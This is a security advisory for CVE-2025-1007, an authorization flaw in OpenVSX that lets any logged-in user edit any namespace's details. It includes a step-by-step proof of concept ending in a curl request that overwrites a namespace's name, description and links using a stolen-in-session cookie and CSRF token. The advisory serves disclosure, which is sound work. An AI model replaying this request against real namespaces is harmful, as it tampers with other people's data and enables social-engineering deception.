Skip to content

Improper Authorization in /user/namespace/{namespace}/details

Moderate
mrybczyn published GHSA-wc7c-xq2f-qp4h Feb 19, 2025

Package

openvsx (source)

Affected versions

v0.9.0 - v0.20.0 (included)

Patched versions

v0.19.1
docker openvsx-server (Docker)
v0.9.0 - v0.20.0
v0.19.1

Description

Description

The /user/namespace/{namespace}/details API allows users to edit every namespace details, even though they are not owner of the namespace or even if they are not part of the namespace at all.
The details include:

  • name
  • displayName
  • description
  • website
  • supportLink
  • socialLinks:
    • linkedin
    • twitter
    • github

PoC

  1. Visit https://open-vsx.org/
  2. Login via a GitHub user who does not have any privilege over any namespace
  3. Take note of the session cookie
  4. Visit the following URL: https://open-vsx.org/user/csrf
  5. Replay the following request through curl after having replaced the $COOKIE placeholder with the value obtained at step 3, the $CSRF_TOKEN placeholder with the values obtained at step 4, and the $NAMESPACE placeholder with the name of the namespace to edit:
curl -H "X-Csrf-Token: $CSRF_TOKEN" -H "Content-Type: application/json" -b "$COOKIE"
    --data-binary $'{\"name\":\"c\",\"displayName\":\"PoC\",\"description\":\"PoC by smaury, maitai, and zi0black\",\"website\":\"https://www.shielder.com\",\"supportLink\":\"\",\"socialLinks\":{\"linkedin\":\"https://www.linkedin.com/company/shielder\",\"twitter\":\"https://twitter.com/ShielderSec\",\"github\":\"https://github.com/ShielderSec\"}}' "https://open-vsx.org/user/namespace/$NAMESPACE/details"

A live exploitation attempt could be observed at https://open-vsx.org/namespace/c which is not owned by the ShielderTest user, which the user who edited the namespace.

Impact

An attacker can update any namespace information, inserting misleading information as part of the namespace name, description, website, support URL, and social links.
This can be abused as part of social engineering attacks.

Reporters

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CVE ID

CVE-2025-1007

Weaknesses

No CWEs

Credits